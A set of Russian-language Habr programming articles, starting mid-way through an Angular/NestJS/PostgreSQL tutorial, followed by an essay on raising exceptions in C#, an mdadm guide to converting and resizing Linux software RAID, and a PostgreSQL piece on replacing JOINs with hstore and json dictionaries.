{ path: 'welcome', loadChildren: () => import('./pages/welcome/welcome.module').then(m => m.WelcomeModule) }
];
@NgModule({
imports: [RouterModule.forRoot(routes, {initialNavigation: 'enabled', scrollPositionRestoration: 'enabled'})], // Добавили initialNavigation, scrollPositionRestoration
exports: [RouterModule]
})
export class AppRoutingModule { }
```
* *initialNavigation: 'enabled'* дает инструкцию роутингу не отрисовывать страницу, если уже загружена через SSR
* *scrollPositionRestoration: 'enabled'* скролит страницу наверх при каждом роутинге.
#### 3. Сделаем пару ендпоинтов на NestJS
Перейдем в папку server и создадим первый контроллер items:
```
cd server
nest g module items
nest g controller items --no-spec
```
```
// items.module.ts
import { Module } from '@nestjs/common';
import { ItemsController } from './items.controller';
@Module({
controllers: [ItemsController]
})
export class ItemsModule {
}
```
```
// items.controller.ts
import { Controller } from '@nestjs/common';
@Controller('items')
export class ItemsController {}
```
Контроллер и модуль создались. Создадим метод на получение списка items и на добавление объекта в список:
```
// server/src/items/items.controller.ts
import { Body, Controller, Get, Post } from '@nestjs/common';
class Item {
name: string;
age: number;
address: string;
}
@Controller('items')
export class ItemsController {
// для простоты данные взял из Angular
private items: Item[] = [
{name: 'Вася', age: 24, address: 'Москва'},
{name: 'Петя', age: 23, address: 'Лондон'},
{name: 'Миша', age: 21, address: 'Париж'},
{name: 'Вова', age: 23, address: 'Сидней'}
];
@Get()
getAll(): Item[] {
return this.items;
}
@Post()
create(@Body() newItem: Item): void {
this.items.push(newItem);
}
}
```
Попробуем вызвать GET в Postman:
Отлично, работает! Обратите внимание, вызываем метод GET items с префиксом api, который ставится автоматически в файле *server/main.ts* при установке NestJS:
```
// server/main.ts
import { NestFactory } from '@nestjs/core';
import { ApplicationModule } from './app.module';
async function bootstrap() {
const app = await NestFactory.create(ApplicationModule);
app.setGlobalPrefix('api'); // Это префикс
await app.listen(4200);
}
bootstrap();
```
Теперь прикрутим бэк к фронту. Возвращаемся к файлу *welcome.component.ts* и делаем запрос списка к бэку:
```
// welcome.component.ts
import { Component, OnInit } from '@angular/core';
import { Observable, of } from 'rxjs';
import { HttpClient } from '@angular/common/http';
import { share } from 'rxjs/operators';
@Component({
selector: 'app-welcome',
templateUrl: './welcome.component.html',
styleUrls: ['./welcome.component.scss']
})
export class WelcomeComponent implements OnInit {
items$: Observable = this.getItems(); // прикрутили вызов бэка
constructor(private http: HttpClient) {
}
ngOnInit() {
}
getItems(): Observable {
return this.http.get('/api/items').pipe(share());
}
}
interface Item {
name: string;
age: number;
address: string;
}
```
Можно увидеть что апиха на фронте дергается, но также дергается и в SSR, причем с ошибкой:
Ошибка при запросе в SSR решается следующим способом:
```
// welcome.component.ts
import { Component, OnInit } from '@angular/core';
import { Observable, of } from 'rxjs';
import { HttpClient } from '@angular/common/http';
import { share } from 'rxjs/operators';
@Component({
selector: 'app-welcome',
templateUrl: './welcome.component.html',
styleUrls: ['./welcome.component.scss']
})
export class WelcomeComponent implements OnInit {
items$: Observable = this.getItems(); // прикрутили вызов бэка
constructor(private http: HttpClient) {
}
ngOnInit() {
}
getItems(): Observable {
return this.http.get('http://localhost:4200/api/items').pipe(share()); // Прописали полный путь к апихе чтобы SSR не ругался
}
}
interface Item {
name: string;
age: number;
address: string;
}
```
Чтобы исключить двойной запрос к апихе (один на SSR, другой на фронте), нужно проделать следующее:
* Установим библиотеку @nguniversal/common:
```
npm i @nguniversal/common
```
* В файле *app/app.module.ts* добавим модуль для запросов из SSR:
```
// app.module.ts
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { IconsProviderModule } from './icons-provider.module';
import { NzLayoutModule } from 'ng-zorro-antd/layout';
import { NzMenuModule } from 'ng-zorro-antd/menu';
import { FormsModule } from '@angular/forms';
import { HttpClientModule } from '@angular/common/http';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { NZ_I18N } from 'ng-zorro-antd/i18n';
import { ru_RU } from 'ng-zorro-antd/i18n';
import { registerLocaleData } from '@angular/common';
import ru from '@angular/common/locales/ru';
import {TransferHttpCacheModule} from '@nguniversal/common';
registerLocaleData(ru);
@NgModule({
declarations: [
AppComponent
],
imports: [
BrowserModule.withServerTransition({ appId: 'serverApp' }),
TransferHttpCacheModule, // Добавили
AppRoutingModule,
IconsProviderModule,
NzLayoutModule,
NzMenuModule,
FormsModule,
HttpClientModule,
BrowserAnimationsModule
],
providers: [{ provide: NZ_I18N, useValue: ru_RU }],
bootstrap: [AppComponent]
})
export class AppModule { }
```
Схожую операцию проделаем с *app.server.module.ts*:
```
// app.server.module.ts
import { NgModule } from '@angular/core';
import { ServerModule, ServerTransferStateModule } from '@angular/platform-server';
import { AppModule } from './app.module';
import { AppComponent } from './app.component';
@NgModule({
imports: [
AppModule,
ServerModule,
ServerTransferStateModule, // Добавили
],
bootstrap: [AppComponent],
})
export class AppServerModule {}
```
Хорошо. Теперь получаем данные из апи в SSR, отрисовываем на форме, отдаем на фронт и тот не делает повторных запросов.
#### 4. Подключим базу PostgreSQL
Подключим библиотеки для работы с PostgreSQL, также будем использовать TypeORM для работы с базой:
```
npm i pg typeorm @nestjs/typeorm
```
Внимание: у вас уже должна быть установлена PostgreSQL с базой внутри.
Описываем конфиг подключения к базе в *server/app.module.ts*:
```
// server/app.module.ts
import { Module } from '@nestjs/common';
import { AngularUniversalModule } from '@nestjs/ng-universal';
import { join } from 'path';
import { ItemsController } from './src/items/items.controller';
import { TypeOrmModule } from '@nestjs/typeorm';
@Module({
imports: [
AngularUniversalModule.forRoot({
viewsPath: join(process.cwd(), 'dist/browser'),
bundle: require('../server/main'),
liveReload: false
}),
TypeOrmModule.forRoot({ // Конфиг подключения к базе
type: 'postgres',
host: 'localhost',
port: 5432,
username: 'postgres',
password: 'admin',
database: 'postgres',
entities: ['dist/**/*.entity{.ts,.js}'],
synchronize: true
})
],
controllers: [ItemsController]
})
export class ApplicationModule {}
```
Немного про поля конфига:
* type: указываем название типа базы данных, к которой подключаемся
* host и port: место где база хостится
* username и password: аккаунт для этой базы
* database: название базы
* entities: путь, откуда будем брать сущности для схемы нашей базы
По последнему пункту, нужно создать сущность Item для мапинга полей в базу:
```
// server/src/items/item.entity.ts
import { Column, CreateDateColumn, Entity, PrimaryGeneratedColumn } from 'typeorm/index';
@Entity()
export class ItemEntity {
@PrimaryGeneratedColumn()
id: number;
@CreateDateColumn()
createDate: string;
@Column()
name: string;
@Column()
age: number;
@Column()
address: string;
}
```
Далее свяжем эту сущность с нашей базой.
```
// items.module.ts
import { Module } from '@nestjs/common';
import { TypeOrmModule } from '@nestjs/typeorm';
import { ItemEntity } from './item.entity';
import { ItemsController } from './items.controller';
@Module({
imports: [
TypeOrmModule.forFeature([ItemEntity]) // Подключаем фича-модуль и указываем сущности базы
],
controllers: [ItemsController]
})
export class ItemsModule {
}
```
Теперь укажем в контроллере, что хотим работать с базой, а не кешем:
```
// items.controller.ts
import { Body, Controller, Get, Post } from '@nestjs/common';
import { ItemEntity } from './item.entity';
import { InjectRepository } from '@nestjs/typeorm';
import { Repository } from 'typeorm/index';
interface Item {
name: string;
age: number;
address: string;
}
@Controller('items')
export class ItemsController {
constructor(@InjectRepository(ItemEntity)
private readonly itemsRepository: Repository) { // Подключили репозиторий
}
@Get()
getAll(): Promise {
return this.itemsRepository.find();
}
@Post()
create(@Body() newItem: Item): Promise {
const item = this.itemsRepository.create(newItem);
return this.itemsRepository.save(item);
}
}
```
Проверим работу апихи в Postman:
Работает. Потыкали несколько раз постман, посмотрим что записалось в базе с помощью DBeaver:
Отлично! В базе есть, посмотрим как выглядит на фронте:
Готово! Мы сделали fullstack приложение, с которым можно работать дальше.
P.S. Сразу поясню следующее:
* Вместо Ng-Zorro вы можете использовать любую другую библиотеку, например Angular Material. Мне она лично не зашла из-за сложности разработки;
* Я знаю, что нужно на бэке использовать сервисы, а не напрямую дергать базу в контроллерах. Эта статья о том, как решив проблемы "влоб" получить MVP с которым можно работать, а не про архитектуру и паттерны;
* Вместо вписывания на фронте <http://localhost:4200/api> возможно лучше написать интерсептор и проверять откуда мы стучимся
#### Полезные ссылки:
* [Библиотека компонентов NG-Zorro](https://ng.ant.design/docs/introduce/en)
* [Документация Angular](https://angular.io/)
* [Документация NestJS](https://docs.nestjs.com/)
* [Исходники проекта](https://github.com/Murz1k/angular-nestjs-starter) | https://habr.com/ru/post/514380/ | null | ru | null |
# Exception-ы и мифы о них
Уже не первый раз сталкиваюсь с негибким отношением к поднятию исключений. Именно к поднятию, потому что к перехвату у большинства мнение совпадает: перехватывай только тогда, когда на самом деле можешь обработать. Поднятие же воспринимается, как нечто исключительное, из ряда вон. Когда видят throw, начинают рассказывать кучу историй о том как...
Помните, как надо бороться со страхом? Засекаешь одну минуту, в течение которой даешь волю всем своим эмоциям. Затем говоришь себе «хватит» и с головой погружаешься в проблемы. Минута прошла.
Для начала давайте выясним, а что же это за зверь такой. Я выделяю следующие свойства:
* невозможно игнорировать наступление;
* несколько обработчиков в одном месте;
* просачивание через любое количество вложенных вызовов;
* независимая, передаваемая обработчику, структура данных — вспомните hresult, макросы вызова com-фунций и другую белиберду, обязанную своим существованием отсутствию (или нежеланию использовать) механизмов exception-ов
И все. Всевозможные потери в производительности, сложность контроля являются контекстно-зависимыми (а чаще просто надуманными) и требуют доказательства в каждом конкретном случае.
Например: производим поиск по файлу.
`int FindSymbol(TextReader reader, char symb)
{
char cur;
int pos;
while (cur = (char)reader.Read())
{
if (cur == ‘a’)
throw new FormatException();
pos ++;
if (cur == symb)
return pos;
}
throw new MyException(); }
}`
Определены следующие варианты выхода из функции:
* требуемые данные найдены (return pos)
* файл имеет не правильный формат (throw)
* файл закончился (reader поднимает исключение)
Последний вариант работы функции наиболее спорен. Обычно программисты очень изобретательны при обосновании своих решений, и могут найти кучу доводов «за» и «против»: неэффективность, клиентскому коду необходимо знать детали реализации, неправильный формат является ошибкой и т.д. Все это правда, но не главное. Основной довод «за» — достаточность.
Клиенту больше не надо анализировать сложный результат, он попросил найти текст — ему нашли; если нет — он об этом даже не узнает.
Еще пример: обработка нажатия пользователем кнопки «cancel». Опять же можно долго дискутировать на тему — для чего изначально создавался этот механизм?
Но если он есть и подходит для логики «cancel» — глупо его не использовать.
Когда мне нужно было подклеить дома порожек, я, недолго думая, использовал в качестве груза книгу М.Мак-Дональда «Wpf …». Так почему же в иных случаях мне поступать иначе?
Как вы относитесь к маленьким функциям? Я вот считаю, что другие просто не имеют права на существование. При таком отношении периодически возникают ситуации, что без поднятия исключений просто никуда. Например, надо выйти из цикла, расположенного выше по стеку вызовов. Не передавать же флаг завершения, в конце концов. Или передать…
Если же цикл располагается не на предыдущем уровне стека вызовов, а выше? Весь код без throw превращается в анализ результатов работы функций. Доходит до смешного — выделяются методы проверяющие результаты работы других функций. Сидишь и думаешь об откате неожиданно «неправильного» рефакторинга. Но все меняется, когда приходят они: код начинает удаляться по две-три строчки за раз (а если я тормозил
до этого достаточно долго, то удаляются и методы, и классы)
А вот еще один интересный «аромат» — большое количество условных операторов. Когда перед выполнением какого-либо действия начинается анализ, «а можно ли это сделать». Оставим в покое алгоритмы, состоящие из нескольких операций, которые по отдельности делают состояние системы неопределенным. Если начал делать, — разбейся в лепешку, но закончи! Я не про них. Хотя и здесь, при желании, можно найти приемлемые решения. Так вот, запах от большего количества условных операторов: ну например, при анализе набора входных данных перед выполнением операции или проверка валидности структуры данных, или… ну мало ли чего еще. В общем, смотрим на каждый элемент данных и решаем, а подходит ли он для наших великих целей, а затем осуществляем их. Не глупо ли? Можно же сразу попробовать осуществить задуманное. И всего-то надо — предположить, что на данном участке может произойти исключение, связанное с нашим нежеланием загромождать код мусором.
Основным аргументом у противников такого отношения к подъему исключений является просадка производительности. Глупо с этим спорить — условный оператор в несколько раз более эффективен. Но есть одно «но»: проблему надо доказать на реальных данных. Предположим, участок кода действительно критический. О ужас! — теперь придется потратить пару часов на рефакторинг. Не дней, а именно часов. Помните как рассказывал Фаулер о своем отношении к проектированию: «…я пытаюсь определить, насколько трудно окажется рефакторинг от одного дизайна в другой. Если трудностей не видно, то я, не слишком задумываясь о выборе, останавливаюсь на самом простом».
Если предположить, что мы принимаем эту смелую мысль, то осталось определиться с порядком рефакторинга:
1. Выделяем метод из тела метода поднимающего исключение.
2. Определяем критерий в сигнатуре выделенного метода, который будет показывать, что в иной ситуации мы бы подняли исключение.
3. Изменяем исходный метод таким образом, чтобы он, в зависимости от критерия, поднимал исключение. Будем называть исходный метод «методом с исключением», а выделенный — «метод без исключения».
4. Создаем метод расширение (копированием) из метода без исключения.
5. Заменяем тело метода расширения на вызов метода с исключением.
6. Блокируем распространение исключения через метод расширения и, в зависимости от подъема, взводим или сбрасываем критерий.
7. Добавляем к интерфейсу метод с сигнатурой метода без исключения. В реализациях этих методов производим вызов метода расширения. Если метод не входит в состав внешнего интерфейса (по отношению к классу) — тем лучше. Этот пункт можно пропустить.
8. Заменяем вызовы метода с исключениями методами без исключения. В реализациях интерфейса это обязательно (иначе не следовало и начинать), в остальных случаях — по желанию. Замещающий код должен выглядеть так: вызов метода без исключения, анализ критерия.
9. Создаем метод расширения из метода с исключением. Структура его должна уже быть верной. Осталось только сделать его рабочим.
10. Заменяем оставшиеся вызововы с исключениями на расширения без исключения.
11. Удаляем из интерфейса методы с исключениями и расширения без исключения. Расширения с исключениями по возможности.
Вот как это будет выглядеть в коде.
* Исходный код:
`class SrcClass
{
public void Exec()
{
throw new MyException();
}
}`
* После третьего шага:
`class SrcClass
{
public void Exec()
{
if (!TryExec())
throw new MyException();
}
public bool TryExec()
{
return false;
}
}`
* После девятого шага:
`class SrcClass
{
public void Exec()
{
if (!TryExec())
throw new MyException();
}
public bool TryExec()
{
return false;
}
}
static class SrcClassHelper
{
public static bool TryExecHelp(this SrcClass src)
{
try
{
src.Exec();
return true;
}
catch (MyException)
{
return false;
}
}
public static void Exec(this SrcClass src)
{
if (!src.TryExec())
throw new MyException();
}
}`
* По завершению:
`class SrcClass
{
public bool TryExec()
{
return false;
}
}
static class SrcClassHelper
{
public static void Exec(this SrcClass src)
{
if (!src.TryExec())
throw new MyException();
}
}`
В принципе все. Надеюсь, я сумел развеять хотя бы часть страхов о подъеме исключений, и теперь при возникновении такой необходимости вы более лояльно будете выбирать решение. И скорее всего, выберите более простое. А значит, ваш приемник будет ругать вас с меньшим остервенением (не исключено что им буду я). | https://habr.com/ru/post/119016/ | null | ru | null |
# Работа с утилитой mdadm. Изменение типа массива, chunk size, расширение
#### Введение
К написанию данной статьи меня побудило отсутствие внятной информации на русском языке по работе с утилитой mdadm, реализующей RAID различных типов в ОС linux. В принципе, основные положения работы данной утилиты освещаются достаточно подробно. Почитать об этом можно, например, [раз](http://xgu.ru/wiki/%CF%F0%EE%E3%F0%E0%EC%EC%ED%FB%E9_RAID_%E2_Linux), [два](http://ru.wikipedia.org/wiki/Mdadm), [три](http://wiki.dieg.info/mdadm).
#### Преобразование RAID1 в RAID5
Основным посылом было преобразование RAID1, созданного при установке Ubuntu массива из двух дисков к RAID5. Начал я, как водится с гугления, и набрел на более раннюю [статью на Хабре](http://habrahabr.ru/post/100952/) К сожалению, протестированный на виртуальных машинах, этот способ гарантировано убивал возможность загрузки с корневого раздела. С чем это связано, с более новой версией mdadm, или со спецификой тестирования (корневой раздел на массиве, требуется работа с live CD) выявить не удалось.
Версия системы
```
root@u1:/home/alf# uname -a
Linux u1 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
```
Разметка диска в моем случае была проще некуда, я смоделировал ее на тестовой виртуальной машине, выделив для дисков по 20 гигов:
Корневой раздел находится на собранных в массив устройствах **/dev/sda2** **/dev/sdb2** и имеет имя **/dev/md0** в базовой системе. Загрузочный раздел находится на обоих дисках, **/boot** в отдельный диск не выделен.
В версии **mdadm v3.2.5**, которая устанавливается по умолчанию в Ubuntu, процедура конвертации RAID возможна в направлении 1->5, и невозможна обратно. Выполняется она командой изменения массива **–grow, -G**. Перед конвертацией вставьте в устройство флешку и примонтируйте ее для сохранения резервного суперблока. В случае сбоев с нее мы будем восстанавливать массив. Монтируем ее в **/mnt/sdd1**
`mkdir /mnt/sdd1`
`mount /dev/sdd1 /mnt/sdd1`
`mdadm --grow /dev/md0 --level=5 --backup-file=/mnt/sdd1/backup1`
Операция обычно проходит очень быстро и безболезненно. Тут нужно отметить, что получившийся массив типа RAID5 на двух дисках является фактически массивом RAID1, с возможностью расширения. Полноценным RAID5 он станет только при добавлении еще хотя бы одного диска.
Чрезвычайно важно то, что наш загрузочный раздел находится на этом массиве и после перезагрузки GRUB автоматически не подгрузит модули для запуска. Для этого мы делаем обновление загрузчика
`update-grub`
Если же вы все-таки забыли сделать обновление, и после перезагрузки получили
```
cannot load raid5rec
grub rescue>
```
то не отчаивайтесь, вам достаточно загрузится с LiveCD, скопировать на флешку каталог **/boot**, перегрузиться снова с основного раздела в **grub rescue>** и подгрузить модуль RAID5 c флешки согласно распространенным инструкциям, например [так](http://adw0rd.com/2010/4/5/grub-rescue/#.Um-b8PnIbpY).
Добавляете строчку **insmod /boot/grub/raid5rec.mod**
После загрузки с основного раздела не забываем сделать **update-grub**
#### Расширение массива RAID5
Расширения измененного массива описано во всех источниках и проблем не представляет. Питание не выключаем.
1. Клонируем структуру существующего диска
`sfdisk –d /dev/sda | sfdisk /dev/sdc`
2. Добавляем диск к массиву
`mdadm /dev/md0 --add /dev/sdc2`
3. Расширяем массив
`mdadm --grow /dev/md0 --raid-device=3 --backup-file=/mnt/sdd1/backup2`
4. Ждем окончания переконфигурации и наблюдаем за процессом
`watch cat /proc/mdstat`
5. Устанавливаем загрузочный сектор на новый диск
`grub-install /dev/sdc`
6. Обновляем загрузчик
`update-grub`
7. Расширяем свободное место до максимального, работает на живом и смонтированном разделе.
`resize2fs /dev/md0`
8. Смотрим на получившийся массив
`mdadm --detail /dev/md0`
9. Смотрим на свободное место
`df -h`
#### Изменение Chunk Size существующего массива RAID5
В массиве RAID1 понятие **Chunk Size** отсутствует, т.к. это размер блока, который по очереди пишется на разные диски. При конвертации типа массива к RAID5 этот параметр появляется в выводе детализированной информации о массиве:
```
Mdadm –detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Tue Oct 29 03:57:36 2013
Raid Level : raid5
Array Size : 20967352 (20.00 GiB 21.47 GB)
Used Dev Size : 20967352 (20.00 GiB 21.47 GB)
Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent
Update Time : Tue Oct 29 04:35:16 2013
State : clean
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 8K
Name : u1:0 (local to host u1)
UUID : cec71fb8:3c944fe9:3fb795f9:0c5077b1
Events : 20
Number Major Minor RaidDevice State
0 8 2 0 active sync /dev/sda2
1 8 18 1 active sync /dev/sdb2
```
При этом размер chunk выбирается согласно правилу: Наибольший общий делитель размера массива (в нашем случае 20967352К) и максимального автоматически выставляемого размера chunk(который составляет 64К). В моем случае максимально возможный размер chunk составляет 8K (20967352/8=2620919 дальше на 2 не делится).
Если вы в дальнейшем планируете добавлять диски, увеличивая размер массива, то вам желательно в определенный момент сменить размер chunk. Про производительность можно почитать достаточно интересную [статью](https://romanrm.net/mdadm-raid).
Для изменения параметра chunk в массиве необходимо привести его размер в соответствие с мультипликатором. Перед этим важно изменить размер раздела, т.к. если вы будете резать по живому максимальному разделу, то скорее всего затрете суперблок раздела, и гарантированно испортите файловую систему.
Как вычислить необходимый размер раздела для нужного вам размера chunk? Берем максимальный текущий размер раздела в килобайтах
`mdadm --detail /dev/md0 | grep Array`
Делим нацело на требуемый нам размер **chunk** и на (количество дисков в массиве-1, для RAID5). Полученное число снова умножаем на размер **chunk** и на (количество дисков в массиве -1), и итогом будет нужный нам размер раздела.
(41934704/256)/2=81903; 81903\*256\*2=41934336
Изменить размер раздела в сторону уменьшения невозможно на рабочем, смонтированном разделе, и, поскольку он у нас корневой, мы перезагружаемся с любого LiveCD (мне нравится [RescueCD](http://citylan.dl.sourceforge.net/project/systemrescuecd/sysresccd-x86/3.8.0/systemrescuecd-x86-3.8.0.iso), у него **mdadm** загружается автоматически)
1. Проверяем запущенные массивы
`Cat /proc/mdstat`
Обнаруживаем, что наш массив в режиме RO
2. Пересобираем его в обычном режиме
`Mdadm --stop /dev/md127`
`Mdadm --assemble --scan`
3. Выполняем проверку массива на ошибки с автоисправлением
`e2fsck -f /dev/md127`
4. Меняем размер активного раздела, указывая в качестве параметра **-S 256**, чтобы утилита понимала, что данный раздел будет находится на RAID-массиве и добавляя в конец нового размера массива буковку K, чтобы утилита не посчитала данное число — числом блоков
`resize2fs -p S 256 /dev/md127 41934336K`
5. Для изменения размеров массива используем снова параметр **--grow** в утилите **mdadm**. Нужно учитывать, изменение массива происходит на каждом диске, а потому в параметрах указываем не общий требуемый размер массива, а размер массива на каждом диске, соответственно делить нужно на (количество дисков в массиве -1). Операция проходит мгновенно
`41934336/2=20967168`
`mdadm --grow /dev/md127 --size=20967168`
6. Перезагружаемся в обычный режим, изменяем размер chunk, не забывая предварительно смонтировать флешку для бэкапа суперблока, и ждем окончания пересинхронизации массива.
`mdadm --grow /dev/md0 --chunk=256 --backup-file=/mnt/sdd1/backup3`
`watch cat /proc/mdstat`
Операция долгая, гораздо дольше, чем добавление диска, приготовьтесь ждать. Питание, как водится, отключать нельзя.
#### Восстановление массива
Если на каком-то этапе работы с массивом через mdadm у вас произошел сбой, то для восстановления массива из бэкапа (вы же не забыли указать файл для бэкапа?) вам необходимо загрузится с liveCD и пересобрать массив заново с указанием правильной последовательности дисков, входящих в массив и указанием суперблока для загрузки
`mdadm --assemble /dev/md0 /dev/sda2 /dev/sdb2 /dev/sdc2 --backup-file=/mnt/sdd1/backup3`
В моем случае последняя операция по изменению **chunk** массива перевела его в состояние **\*reshape**, однако сам процесс пересборки не начинался длительное время. Пришлось перезагружаться с liveCD и восстанавливать массив. После этого пошел процесс пересборки массива, и по окончанию оного размер **Chunk Size** был уже новый, 256K.
#### Заключение
Надеюсь, данная статья поможет вам безболезненно менять ваши домашние системы хранения, и возможно кого-то натолкнет на мысль, что утилита mdadm не такая непонятная, как кажется.
#### Дополнительно почитать
[www.spinics.net/lists/raid/msg36182.html](http://www.spinics.net/lists/raid/msg36182.html)
[www.spinics.net/lists/raid/msg40452.html](http://www.spinics.net/lists/raid/msg40452.html)
[enotty.pipebreaker.pl/2010/01/30/zmiana-parametrow-md-raid-w-obrazkach](http://enotty.pipebreaker.pl/2010/01/30/zmiana-parametrow-md-raid-w-obrazkach/)
[serverhorror.wordpress.com/2011/01/27/migrating-raid-levels-in-linux-with-mdadm](http://serverhorror.wordpress.com/2011/01/27/migrating-raid-levels-in-linux-with-mdadm/)
[lists.debian.org/debian-kernel/2012/09/msg00490.html](http://lists.debian.org/debian-kernel/2012/09/msg00490.html)
[www.linux.org.ru/forum/admin/9549160](http://www.linux.org.ru/forum/admin/9549160)
Для особых гурманов [fossies.org/dox/mdadm-3.3/Grow\_8c\_source.html](http://fossies.org/dox/mdadm-3.3/Grow_8c_source.html) | https://habr.com/ru/post/200194/ | null | ru | null |
# PostgreSQL Antipatterns: ударим словарем по тяжелому JOIN
Продолжаем серию статей, посвященных исследованию малоизвестных способов улучшения производительности «вроде бы простых» запросов на PostgreSQL:
* [редкая запись долетит до середины JOIN](https://habr.com/post/484670/)
* [сизифов JOIN массивов](https://habr.com/post/479920/)
* [вредные JOIN и OR](https://habr.com/post/479508/)
* [CTE JOIN CTE](https://habr.com/post/479298/)
Не подумайте, что я так сильно не люблю JOIN… :)
Но зачастую без него запрос получается ощутимо производительнее, чем с ним. Поэтому сегодня попробуем вообще **избавиться от ресурсоемкого JOIN** — с помощью словаря.
> Начиная с PostgreSQL 12 часть описанных ниже ситуаций может воспроизводиться чуть иначе из-за [не-материализации CTE по умолчанию](https://www.depesz.com/2019/02/19/waiting-for-postgresql-12-allow-user-control-of-cte-materialization-and-change-the-default-behavior/). Это поведение может быть возвращено к прежнему с помощью указания ключа `MATERIALIZED`.
Много «фактов» по ограниченному словарю
---------------------------------------
Давайте возьмем вполне реальную прикладную задачу — надо вывести список [входящих сообщений](https://habr.com/ru/post/483176/) или активных задач с отправителями:
```
25.01 | Иванов И.И. | Подготовить описание нового алгоритма.
22.01 | Иванов И.И. | Написать статью на Хабр: жизнь без JOIN.
20.01 | Петров П.П. | Помочь оптимизировать запрос.
18.01 | Иванов И.И. | Написать статью на Хабр: JOIN с учетом распределения данных.
16.01 | Петров П.П. | Помочь оптимизировать запрос.
```
В абстрактном мире авторы задач должны были бы равномерно распределяться среди всех сотрудников нашей организации, но в реальности ***задачи приходят, как правило, от достаточно ограниченного количества людей*** — «от начальства» вверх по иерархии или «от смежников» из соседних отделов (аналитики, дизайнеры, маркетинг, ...).
Давайте примем, что в нашей организации из 1000 человек только 20 авторов (обычно даже меньше) ставят задачи в адрес каждого конкретного исполнителя и [воспользуемся этим предметным знанием](https://habr.com/ru/post/484670/), чтобы ускорить «традиционный» запрос.
**Скрипт-генератор**
```
-- сотрудники
CREATE TABLE person AS
SELECT
id
, repeat(chr(ascii('a') + (id % 26)), (id % 32) + 1) "name"
, '2000-01-01'::date - (random() * 1e4)::integer birth_date
FROM
generate_series(1, 1000) id;
ALTER TABLE person ADD PRIMARY KEY(id);
-- задачи с указанным распределением
CREATE TABLE task AS
WITH aid AS (
SELECT
id
, array_agg((random() * 999)::integer + 1) aids
FROM
generate_series(1, 1000) id
, generate_series(1, 20)
GROUP BY
1
)
SELECT
*
FROM
(
SELECT
id
, '2020-01-01'::date - (random() * 1e3)::integer task_date
, (random() * 999)::integer + 1 owner_id
FROM
generate_series(1, 100000) id
) T
, LATERAL(
SELECT
aids[(random() * (array_length(aids, 1) - 1))::integer + 1] author_id
FROM
aid
WHERE
id = T.owner_id
LIMIT 1
) a;
ALTER TABLE task ADD PRIMARY KEY(id);
CREATE INDEX ON task(owner_id, task_date);
CREATE INDEX ON task(author_id);
```
Покажем последние 100 задач для конкретного исполнителя:
```
SELECT
task.*
, person.name
FROM
task
LEFT JOIN
person
ON person.id = task.author_id
WHERE
owner_id = 777
ORDER BY
task_date DESC
LIMIT 100;
```
[[посмотреть на explain.tensor.ru]](https://explain.tensor.ru/archive/explain/5f4f9c25197bf7c534ffe7a25b1b75a6:0:2020-01-27)
Получается, что **1/3 всего времени и 3/4 чтений** страниц данных были сделаны только для того, чтобы 100 раз поискать автора — для каждой выводимой задачи. Но мы же знаем, что среди этой сотни **всего 20 разных** — нельзя ли использовать это знание?
hstore-словарь
--------------
Воспользуемся [типом hstore](https://postgrespro.ru/docs/postgresql/12/hstore) для генерации «словаря» ключ-значение:
```
CREATE EXTENSION hstore
```
В словарь нам достаточно поместить ID автора и его имя, чтобы потом иметь возможность извлечь по этому ключу:
```
-- формируем целевую выборку
WITH T AS (
SELECT
*
FROM
task
WHERE
owner_id = 777
ORDER BY
task_date DESC
LIMIT 100
)
-- формируем словарь для уникальных значений
, dict AS (
SELECT
hstore( -- hstore(keys::text[], values::text[])
array_agg(id)::text[]
, array_agg(name)::text[]
)
FROM
person
WHERE
id = ANY(ARRAY(
SELECT DISTINCT
author_id
FROM
T
))
)
-- получаем связанные значения словаря
SELECT
*
, (TABLE dict) -> author_id::text -- hstore -> key
FROM
T;
```
[[посмотреть на explain.tensor.ru]](https://explain.tensor.ru/archive/explain/6ee4e4e26ded9567ac9631ceee9bb8c0:0:2020-01-27)
На получение информации о персонах затрачено **в 2 раза меньше времени и в 7 раз меньше прочитано данных**! Помимо «ословаривания», этих результатов нам помогло достичь еще и **массовое извлечение записей** из таблицы за единственный проход с помощью `= ANY(ARRAY(...))`.
#### Записи таблицы: сериализация и десериализация
Но что делать, если нам нужно сохранить в словаре не одно текстовое поле, а целую запись? В этом случае нам поможет способность PostgreSQL **работать с записью таблицы как с единым значением**:
```
...
, dict AS (
SELECT
hstore(
array_agg(id)::text[]
, array_agg(p)::text[] -- магия #1
)
FROM
person p
WHERE
...
)
SELECT
*
, (((TABLE dict) -> author_id::text)::person).* -- магия #2
FROM
T;
```
Давайте разберем, что тут вообще происходило:
1. Мы взяли **p как алиас к полной записи таблицы person** и собрали из них массив.
2. Этот **массив записей перекастовали** в массив текстовых строк (person[]::text[]), чтобы поместить его в hstore-словарь в качестве массива значений.
3. При получении связанной записи мы ее **вытащили из словаря по ключу** как текстовую строку.
4. Текст нам нужно **превратить в значение типа таблицы** person (для каждой таблицы автоматически создается одноименный ей тип).
5. «Развернули» типизованную запись в столбцы с помощью `(...).*`.
json-словарь
------------
Но такой фокус, как мы применили выше, не пройдет, если нет соответствующего табличного типа, чтобы сделать «раскастовку». Ровно такая же ситуация возникнет, и если в качестве источника данных для сериализации мы попробуем использовать **строку CTE, а не «реальной» таблицы**.
В этом случае нам помогут [функции для работы с json](https://postgrespro.ru/docs/postgresql/12/functions-json):
```
...
, p AS ( -- это уже CTE
SELECT
*
FROM
person
WHERE
...
)
, dict AS (
SELECT
json_object( -- теперь это уже json
array_agg(id)::text[]
, array_agg(row_to_json(p))::text[] -- и внутри json для каждой строки
)
FROM
p
)
SELECT
*
FROM
T
, LATERAL(
SELECT
*
FROM
json_to_record(
((TABLE dict) ->> author_id::text)::json -- извлекли из словаря как json
) AS j(name text, birth_date date) -- заполнили нужную нам структуру
) j;
```
Надо отметить, что при описании целевой структуры мы можем перечислять не все поля исходной строки, а только те, которые нам действительно нужны. Если же у нас есть «родная» таблица, то лучше воспользоваться функцией `json_populate_record`.
